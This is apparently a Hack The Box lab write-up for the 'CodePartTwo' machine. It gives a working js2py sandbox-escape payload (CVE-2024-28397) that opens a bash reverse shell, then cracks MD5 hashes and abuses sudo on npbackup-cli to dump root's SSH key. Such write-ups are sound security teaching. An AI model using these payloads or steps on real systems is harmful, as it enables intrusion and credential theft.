HTB: CodePartTwo

HTB: CodePartTwo

in

CodePartTwo

Summary

CodePartTwo is an easy Linux box running a web-based JavaScript code editor vulnerable to sandbox escape. The application uses js2py version 0.74, which suffers from CVE-2024-28397 allowing arbitrary Python code execution through object prototype manipulation. After gaining initial access as the app user, I discovered an SQLite database containing MD5 password hashes. Cracking one of these hashes provided credentials for the marco user. From there, I abused sudo permissions on npbackup-cli to create custom backup configurations that extracted sensitive files from root’s directory, ultimately reading the SSH private key to gain root access.

Recon

Port Scanning

I started with a comprehensive port scan to identify available services:

nmap -p- -sCV 10.10.11.82

The scan revealed two open ports:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open  http    Gunicorn 20.0.4

Based on the OpenSSH version, the target is likely running Ubuntu 20.04 (Focal). The presence of Gunicorn suggests a Python web application framework such as Flask or Django.

Web Application Discovery

Navigating to port 8000 revealed an “Online Code Editor” application that allows users to register accounts, authenticate, and execute JavaScript code directly in the browser.

The application provides several key features:

  • User registration and authentication
  • JavaScript code execution engine
  • Code snippet persistence
  • Source code download via /download endpoint

After registering and logging in, I was presented with a dashboard containing a code editor interface:

Source Code Analysis

The /download endpoint provided access to app.zip, containing the complete application source. The project structure revealed:

├── app.py
├── instance
│   └── users.db
├── requirements.txt
├── static
│   ├── css
│   └── js
└── templates
    ├── base.html
    ├── dashboard.html
    ├── index.html
    ├── login.html
    └── register.html

Examining app.py showed the application uses Flask with SQLAlchemy for database operations. The critical vulnerability lies in the /run_code endpoint:

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

User-submitted JavaScript is passed directly to js2py.eval_js() without proper sandboxing.

The requirements.txt file confirmed the vulnerable version:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

Additionally, the registration handler showed passwords are hashed using MD5:

password_hash = hashlib.md5(password.encode()).hexdigest()

The SQLite database schema revealed two tables (user and code_snippet), though the local copy contained no data.

Shell as app

CVE-2024-28397 Exploitation

The js2py library version 0.74 is vulnerable to CVE-2024-28397, a sandbox escape allowing arbitrary Python code execution. The vulnerability works by accessing Python’s object hierarchy through JavaScript’s prototype chain.

The exploit leverages Object.getOwnPropertyNames({}) to obtain a dict_keys object, then uses __getattribute__ to traverse up to Python’s base object class. From there, __subclasses__() enumerates all loaded Python classes, including subprocess.Popen.

I crafted a payload to establish a reverse shell:

let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("Reverse shell initiated")

After starting a netcat listener and submitting the payload through the web interface, I received a connection:

$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.82 52682
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$

I upgraded the shell for better interactivity:

app@codeparttwo:~$ script /dev/null -c bash
app@codeparttwo:~$ ^Z
[1]+  Stopped
$ stty raw -echo; fg
reset
Terminal type? screen

Shell as marco

Database Credential Recovery

Operating as the app user, I examined the SQLite database in the application directory:

app@codeparttwo:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
sqlite> .tables
code_snippet  user
sqlite> SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

The database contained two MD5 password hashes. I submitted them to an online hash cracking service, which successfully reversed the hash for marco:

marco:{hidden}

SSH Access

The recovered credentials worked for SSH authentication:

$ ssh marco@10.10.11.82
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)

Shell as root

NPBackup Enumeration

Checking sudo privileges revealed marco can execute npbackup-cli as root:

marco@codeparttwo:~$ sudo -l
<SNIP>
User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

The home directory contained a configuration file for this backup utility:

marco@codeparttwo:~$ ls -la
drwx------ 7 root root  4096 Apr  6 03:50 backups
-rw-rw-r-- 1 root root  2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root marco   33 Oct 26  2024 user.txt

NPBackup is a Python-based backup solution built on top of restic. The help output showed the -c flag accepts custom configuration files:

marco@codeparttwo:~$ npbackup-cli -h
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [-b] [-f]
                    [--ls [LS]] [--dump DUMP] [--snapshot-id SNAPSHOT_ID]
<SNIP>
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file
  -b, --backup          Run a backup
  --ls [LS]             Show content given snapshot
  --dump DUMP           Dump a specific file to stdout

Examining the existing configuration revealed it backs up /home/app/app/:

backup_opts:
  paths:
  - /home/app/app/

Malicious Backup Configuration

Since I could specify an arbitrary configuration file and run npbackup-cli as root, I created a modified configuration targeting /root:

marco@codeparttwo:~$ cp npbackup.conf /dev/shm/exploit.conf
marco@codeparttwo:~$ vim /dev/shm/exploit.conf

I modified the paths section to include root’s directory:

backup_opts:
  paths:
  - /home/app/app/
  - /root/

Running a backup with this configuration:

marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf -b
<SNIP>
Files:          27 new,     0 changed,     0 unmodified
Dirs:           17 new,     0 changed,     0 unmodified
snapshot 7b216ac3 saved

Listing the backup contents confirmed root’s files were included:

marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf --ls
snapshot 7b216ac3 of [/home/app/app /root]:
/root
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/root.txt
<SNIP>

Root Access via SSH Key

Using the --dump flag, I extracted root’s SSH private key:

marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
-----END OPENSSH PRIVATE KEY-----

I saved the key locally and used it to authenticate as root:

$ chmod 600 root_key
$ ssh -i root_key root@10.10.11.82
root@codeparttwo:~# id
uid=0(root) gid=0(root) groups=0(root)